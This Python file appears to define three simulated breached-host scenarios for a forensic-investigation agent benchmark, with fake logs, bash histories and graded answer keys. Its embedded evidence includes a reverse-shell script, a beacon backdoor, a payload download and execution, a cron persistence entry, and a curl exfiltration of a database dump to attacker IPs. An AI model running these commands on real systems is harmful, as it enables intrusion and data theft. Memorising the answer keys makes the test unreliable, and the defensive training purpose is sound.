Spaces:
Sleeping
Sleeping
| """ | |
| Hand-authored forensic scenarios β three pre-seeded "breached box" states. | |
| Each scenario is a dict with: | |
| - task_id: identifier (easy/medium/hard) | |
| - difficulty: human-readable label | |
| - description: what the agent must determine | |
| - filesystem: dict mapping absolute path -> file contents (bytes or str) | |
| - ground_truth: dict with fields the grader compares against | |
| Binaries are synthesized in-memory at import time so sha256 is deterministic. | |
| No real filesystem is touched; the env server just looks up paths in these dicts. | |
| """ | |
| import hashlib | |
| from typing import Dict | |
| def _sha256(data: bytes) -> str: | |
| return hashlib.sha256(data).hexdigest() | |
| # ---------- SCENARIO 1: EASY β find compromised user + initial login IP ---------- | |
| _S1_AUTH_LOG = """\ | |
| Mar 11 09:01:14 hostname sshd[1021]: Accepted publickey for alice from 10.0.0.42 port 55001 ssh2: RSA SHA256:abc | |
| Mar 11 09:03:22 hostname sshd[1032]: Accepted publickey for alice from 10.0.0.42 port 55012 ssh2: RSA SHA256:abc | |
| Mar 11 17:45:03 hostname sshd[2201]: Failed password for root from 198.51.100.77 port 41230 ssh2 | |
| Mar 11 17:45:18 hostname sshd[2203]: Failed password for alice from 198.51.100.77 port 41241 ssh2 | |
| Mar 11 17:45:33 hostname sshd[2209]: Failed password for alice from 198.51.100.77 port 41255 ssh2 | |
| Mar 11 17:46:02 hostname sshd[2218]: Accepted password for alice from 198.51.100.77 port 41299 ssh2 | |
| Mar 11 17:46:02 hostname sshd[2218]: pam_unix(sshd:session): session opened for user alice by (uid=0) | |
| Mar 11 17:46:17 hostname sudo: alice : TTY=pts/1 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/bash | |
| Mar 11 17:50:41 hostname sshd[2218]: pam_unix(sshd:session): session closed for user alice | |
| """ | |
| _S1_BASH_HISTORY_ALICE = """\ | |
| cd /tmp | |
| wget http://198.51.100.77/setup.sh | |
| chmod +x setup.sh | |
| ./setup.sh | |
| whoami | |
| id | |
| uname -a | |
| """ | |
| _S1_PASSWD = """\ | |
| root:x:0:0:root:/root:/bin/bash | |
| alice:x:1000:1000:Alice,,,:/home/alice:/bin/bash | |
| bob:x:1001:1001:Bob,,,:/home/bob:/bin/bash | |
| """ | |
| SCENARIO_1 = { | |
| "task_id": "t1_login", | |
| "difficulty": "easy", | |
| "description": ( | |
| "A login from an unusual IP succeeded on this host yesterday. " | |
| "Investigate /var/log/auth.log and /etc/passwd to determine which user " | |
| "account was compromised and the source IP of the successful login. " | |
| "Submit a ForensicReport with compromised_user and initial_ip." | |
| ), | |
| "filesystem": { | |
| "/var/log/auth.log": _S1_AUTH_LOG, | |
| "/home/alice/.bash_history": _S1_BASH_HISTORY_ALICE, | |
| "/etc/passwd": _S1_PASSWD, | |
| "/etc/hostname": "hostname\n", | |
| "/home/alice/readme.txt": "Welcome to the host.\n", | |
| "/home/bob/readme.txt": "bob's home dir.\n", | |
| }, | |
| "ground_truth": { | |
| "compromised_user": "alice", | |
| "initial_ip": "198.51.100.77", | |
| }, | |
| } | |
| # ---------- SCENARIO 2: MEDIUM β plus modified files + backdoor sha256 ---------- | |
| _S2_AUTH_LOG = """\ | |
| Mar 12 08:00:11 webhost sshd[801]: Accepted publickey for bob from 10.0.0.15 port 42100 ssh2 | |
| Mar 12 12:14:02 webhost sshd[1411]: Failed password for bob from 203.0.113.45 port 60012 ssh2 | |
| Mar 12 12:14:19 webhost sshd[1418]: Accepted password for bob from 203.0.113.45 port 60027 ssh2 | |
| Mar 12 12:14:19 webhost sshd[1418]: pam_unix(sshd:session): session opened for user bob by (uid=0) | |
| Mar 12 12:15:44 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/usr/bin/apt install curl | |
| Mar 12 12:17:02 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/bin/cp /tmp/.sysd /usr/local/bin/.sysd | |
| Mar 12 12:17:09 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/bin/chmod +x /usr/local/bin/.sysd | |
| Mar 12 12:18:55 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/usr/bin/tee /etc/cron.d/sysd-sync | |
| """ | |
| _S2_BASH_HISTORY_BOB = """\ | |
| cd /tmp | |
| curl -sO http://203.0.113.45/payload/.sysd | |
| chmod +x .sysd | |
| sudo cp /tmp/.sysd /usr/local/bin/.sysd | |
| sudo tee /etc/cron.d/sysd-sync | |
| echo '* * * * * root /usr/local/bin/.sysd >/dev/null 2>&1' | sudo tee -a /etc/cron.d/sysd-sync | |
| sudo vi /etc/passwd | |
| history -c | |
| exit | |
| """ | |
| _S2_PASSWD = """\ | |
| root:x:0:0:root:/root:/bin/bash | |
| bob:x:1000:1000:Bob,,,:/home/bob:/bin/bash | |
| alice:x:1001:1001:Alice,,,:/home/alice:/bin/bash | |
| sysd:x:0:0:System Daemon,,,:/var/lib/sysd:/bin/bash | |
| """ | |
| _S2_CRON = """\ | |
| # Managed by deploy | |
| 0 3 * * * root /usr/local/bin/logrotate.sh | |
| * * * * * root /usr/local/bin/.sysd >/dev/null 2>&1 | |
| """ | |
| # Synthesized fake backdoor payload (deterministic content -> deterministic sha256) | |
| _S2_BACKDOOR_BYTES = ( | |
| b"#!/bin/sh\n" | |
| b"# sysd persistence agent - DO NOT REMOVE\n" | |
| b"while :; do\n" | |
| b" curl -s -X POST http://203.0.113.45/beacon -d \"h=$(hostname)&u=$(whoami)\"\n" | |
| b" sleep 60\n" | |
| b"done\n" | |
| ) | |
| _S2_BACKDOOR_SHA256 = _sha256(_S2_BACKDOOR_BYTES) | |
| SCENARIO_2 = { | |
| "task_id": "t2_modified", | |
| "difficulty": "medium", | |
| "description": ( | |
| "A host was compromised yesterday. In addition to identifying the compromised " | |
| "user and initial IP, you must list the absolute paths of all system files that " | |
| "were modified or created as part of the compromise, and determine the SHA256 " | |
| "hash of the attacker's backdoor binary. Submit a ForensicReport with " | |
| "compromised_user, initial_ip, modified_files (list of absolute paths), and " | |
| "backdoor_sha256 (lowercase hex)." | |
| ), | |
| "filesystem": { | |
| "/var/log/auth.log": _S2_AUTH_LOG, | |
| "/home/bob/.bash_history": _S2_BASH_HISTORY_BOB, | |
| "/home/alice/.bash_history": "ls\ncd ~\nvim notes.md\n", | |
| "/etc/passwd": _S2_PASSWD, | |
| "/etc/cron.d/sysd-sync": _S2_CRON, | |
| "/usr/local/bin/.sysd": _S2_BACKDOOR_BYTES, | |
| "/etc/hostname": "webhost\n", | |
| "/home/bob/readme.txt": "bob's home dir.\n", | |
| }, | |
| "ground_truth": { | |
| "compromised_user": "bob", | |
| "initial_ip": "203.0.113.45", | |
| "modified_files": [ | |
| "/etc/passwd", | |
| "/etc/cron.d/sysd-sync", | |
| "/usr/local/bin/.sysd", | |
| ], | |
| "backdoor_sha256": _S2_BACKDOOR_SHA256, | |
| }, | |
| } | |
| # ---------- SCENARIO 3: HARD β plus ordered kill-chain timeline ---------- | |
| _S3_AUTH_LOG = """\ | |
| Mar 13 09:00:01 db01 sshd[511]: Accepted publickey for carol from 10.0.1.22 port 52001 ssh2 | |
| Mar 13 14:22:47 db01 sshd[1801]: Failed password for carol from 192.0.2.10 port 33301 ssh2 | |
| Mar 13 14:23:01 db01 sshd[1809]: Accepted password for carol from 192.0.2.10 port 33319 ssh2 | |
| Mar 13 14:23:01 db01 sshd[1809]: pam_unix(sshd:session): session opened for user carol by (uid=0) | |
| Mar 13 14:23:15 db01 CRON[1820]: (carol) CMD (whoami; uname -a; id) | |
| Mar 13 14:25:40 db01 sudo: pam_unix(sudo:auth): authentication failure; logname= uid=1000 euid=0 tty=/dev/pts/2 ruser=carol rhost= user=carol | |
| Mar 13 14:25:43 db01 sudo: carol : TTY=pts/2 ; PWD=/home/carol ; USER=root ; COMMAND=/bin/bash | |
| Mar 13 14:28:12 db01 sudo: carol : TTY=pts/2 ; PWD=/home/carol ; USER=root ; COMMAND=/usr/bin/crontab -u root /tmp/root.cron | |
| Mar 13 14:31:47 db01 sudo: carol : TTY=pts/2 ; PWD=/home/carol ; USER=root ; COMMAND=/usr/bin/curl -X POST -F file=@/var/lib/mysql/dump.sql http://198.51.100.200/drop | |
| """ | |
| _S3_BASH_HISTORY_CAROL = """\ | |
| whoami | |
| uname -a | |
| id | |
| cat /etc/shadow | |
| sudo su - | |
| crontab -u root /tmp/root.cron | |
| mysqldump --all-databases > /var/lib/mysql/dump.sql | |
| curl -X POST -F file=@/var/lib/mysql/dump.sql http://198.51.100.200/drop | |
| history -c | |
| exit | |
| """ | |
| _S3_ROOT_CRON = """\ | |
| */5 * * * * /usr/local/sbin/.healthcheck >/dev/null 2>&1 | |
| """ | |
| _S3_BACKDOOR_BYTES = ( | |
| b"#!/bin/bash\n" | |
| b"# healthcheck persistence\n" | |
| b"bash -i >& /dev/tcp/192.0.2.10/4444 0>&1\n" | |
| ) | |
| _S3_BACKDOOR_SHA256 = _sha256(_S3_BACKDOOR_BYTES) | |
| _S3_PASSWD = """\ | |
| root:x:0:0:root:/root:/bin/bash | |
| carol:x:1000:1000:Carol,,,:/home/carol:/bin/bash | |
| mysql:x:111:119:MySQL Server,,,:/nonexistent:/bin/false | |
| """ | |
| SCENARIO_3 = { | |
| "task_id": "t3_timeline", | |
| "difficulty": "hard", | |
| "description": ( | |
| "A database host was fully compromised. You must reconstruct the attacker's " | |
| "kill chain as an ORDERED timeline of phases: login β recon β privesc β " | |
| "persistence β exfil. Submit a ForensicReport with compromised_user, " | |
| "initial_ip, modified_files, backdoor_sha256, AND timeline (list of " | |
| "TimelineEvent with phase in that order). The timeline must contain all " | |
| "five phases." | |
| ), | |
| "filesystem": { | |
| "/var/log/auth.log": _S3_AUTH_LOG, | |
| "/home/carol/.bash_history": _S3_BASH_HISTORY_CAROL, | |
| "/etc/passwd": _S3_PASSWD, | |
| "/var/spool/cron/crontabs/root": _S3_ROOT_CRON, | |
| "/usr/local/sbin/.healthcheck": _S3_BACKDOOR_BYTES, | |
| "/var/lib/mysql/dump.sql": "-- MySQL dump (exfiltrated)\nCREATE TABLE users ...\n", | |
| "/etc/hostname": "db01\n", | |
| "/tmp/root.cron": _S3_ROOT_CRON, | |
| }, | |
| "ground_truth": { | |
| "compromised_user": "carol", | |
| "initial_ip": "192.0.2.10", | |
| "modified_files": [ | |
| "/var/spool/cron/crontabs/root", | |
| "/usr/local/sbin/.healthcheck", | |
| "/tmp/root.cron", | |
| ], | |
| "backdoor_sha256": _S3_BACKDOOR_SHA256, | |
| "timeline": [ | |
| {"phase": "login", "detail": "ssh from 192.0.2.10"}, | |
| {"phase": "recon", "detail": "whoami; uname -a; id"}, | |
| {"phase": "privesc", "detail": "sudo su -"}, | |
| {"phase": "persistence", "detail": "crontab -u root /tmp/root.cron"}, | |
| {"phase": "exfil", "detail": "curl POST dump.sql to 198.51.100.200"}, | |
| ], | |
| }, | |
| } | |
| SCENARIOS: Dict[str, dict] = { | |
| "t1_login": SCENARIO_1, | |
| "t2_modified": SCENARIO_2, | |
| "t3_timeline": SCENARIO_3, | |
| # aliases for convenience | |
| "easy": SCENARIO_1, | |
| "medium": SCENARIO_2, | |
| "hard": SCENARIO_3, | |
| } | |
| DEFAULT_TASK_ID = "t1_login" | |